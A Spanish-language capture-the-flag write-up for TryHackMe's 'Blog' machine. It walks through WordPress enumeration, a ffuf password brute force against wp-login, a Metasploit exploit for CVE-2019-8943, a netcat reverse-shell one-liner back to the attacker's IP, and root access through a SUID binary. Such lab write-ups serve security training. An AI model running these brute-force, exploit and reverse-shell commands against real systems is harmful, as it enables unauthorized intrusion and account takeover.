Writeup Blog – Tryhackme

En esta entrada vamos a resolver la máquina BLOG de la plataforma tryhackme, se trata de una máquina con una dificultad EASY/MEDIUM.

Enumeración

Primero vamos a enumerar los puertos abiertos:

sudo nmap -sC -sV -oA blog -T5 10.10.219.197 -vv -p-

Como resultado obtenemos 4 puertos abiertos:

Adicionalmente tenemos los puertos 445, 139 abiertos por lo tanto procederemos a enumerar su contenido con smbmap de la siguiente forma.

smbmap -H blog.thm

A continuación, vamos a conectarnos a la carpeta compartida “BillySMB” y descargaremos el contenido de esta.

Los archivos encontrados terminan siendo parte de un rabbit-hole por lo tanto continuaremos con el resto de puertos.

Nos movemos hacia el puerto 80 http, como indicio inicial vemos que estamos ante una instalación wordpress en su version 5.0.

Al visitar el sitio web podemos ver un blog basico que al parecer no se esta visualizando correctamente.

Procederemos a inspeccionar el contenido del sitio web para ver cuales son los errores generados en el sitio, dentro de las url’s vemos que los recursos que intentan cargarse comienzan con la direccion “http://blog.thm/…”.

Para ello editaremos el archivo /etc/host y añadiremos la siguiente entrada.

<ip> blog.thm

Cuando visitamos el sitio <blog.thm> podremos visualizarlo correctamente.

A continuacion procederemos a enumerar el sitio basado en wordpress con la herramienta wpscan de la siguiente manera:

wpscan --url http://blog.thm -e vt,vp,u --api-token <aca_pones_tu_api_token_de_wpscan>

Podemos identificar a 2 usuarios en el sitio web: kwheel y bjoel

Acceso Inicial

Después de revisar nuevamente los datos de la salida de wpscan obtenemos un resultado interesante, se trata de una vulnerabilidad de ejecución de código remoto (RCE), adicionalmente lo que mas atrae la atención de esta vulnerabilidad es que tiene un modulo en metasploit disponible lo cual tiene una buena probabilidad de ser nuestro vector de ingreso. Sin embargo para explotarla vamos a necesitar las credenciales de uno de los usuarios para que el exploit funcione.

Después de realizar una búsqueda exhaustiva de las credenciales de alguno de los usuarios (kwheel, bjoel), procederemos a hacer un ataque de fuerza bruta a ambos usuarios. Primero vamos a abrir burp e interceptar la peticion de inicio de sesión para poder utilizarla en nuestro ataque con un fuzzer.

Para este cometido utilizaremos un fuzzer, en este caso ffuf.

Los parámetros utilizados son los siguientes:

  • -w el diccionario a utilizar
  • -u la url donde vamos a realizar el “fuzzing”
  • -X el método que utilizaremos ej. POST GET
  • -H las cabeceras http, pueden incluirse mas de 1
  • -fr filtra todas la peticione que sean diferentes a la cadena que le asignamos

Ejecutaremos el siguiente comando:

ffuf -w /usr/share/wordlists/rockyou.txt -u http://blog.thm/wp-login.php -X POST -H 'Cookie: wordpress_test_cookie=WP+Cookie+check' -d "log=kwheel&pwd=FUZZ&wp-submit=Log+In&redirect_to=http%3A%2F%2Fblog.thm%2Fwp-admin%2F&testcookie=1" -H 'Content-Type: application/x-www-form-urlencoded' -fr 'The password you entered for the username '

De la ejecucion del comando, obtenemos una respuesta tipo 302 (Redireccion) que nos indica que existe una coincidencia en el inicio de sesion para el usuario kwheel y la contrasena cutiepie1.

Ahora que tenemos un usuario del sistema, podemos proceder a validar la vulnerabilidad que identificamos mas arriba (CVE-2019-8943) .

Vamos a iniciar metasploit:

sudo msfconsole

Dentro de MSF ejecutamos

search cve-2019-8943
use exploit/multi/http/wp_crop_rce

Configuramos los siguientes parámetros

set rhosts blog.thm
set lhost tun0
set lport 8443
set payload php/exec
set username kwheel
set password cutiepie1

Ahora vamos a configurar el comando para obtener un shell reverso utilizando la guia de pentestmonkey.

set CMD rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <nuestra_ip_vpn> 8443 >/tmp/f

Abrimos otra terminal y ponemos netcat en escucha en el puerto definido, en este caso 8443

nc -nlvp 8443

Por ultimo ejecutamos el exploit y obtenemos un shell reverso

run

Ahora vamos a mejorar nuestra shell y hacerla completamente interactiva.

python -c "import pty;pty.spawn('/bin/bash')"
ctrl+z
stty raw -echo
fg

Escalamiento de Privilegios

Durante el proceso de recoleccion de informacion podemos identificar un binario en una ruta no estandar.

/usr/sbin/checker

Procedemos a verificar los permisos del binario

ls -l /usr/bin | grep checker

Ahora verificaremos la logica del binario, la funcion getenv verifica si existe una variable de entorno ‘admin’.

ltrace /usr/sbin/checker

Cuando ejecutamos el binario obtenemos lo siguiente

A continuacion, vamos a generar una variable de entorno y ejecutar nuevamente el binario para obtener acceso root parcial:

export admin=1

Verificamos el acceso que poseemos, podemos visualizar que nuestro acceso aun es limitado en algunas tareas al pertenecer al group www-data.

Para obtener un acceso completo ejecutados:

sudo su

Finalmente para buscar la flag user.txt y root.txt

find / 2> /dev/null | grep user.txt

Links: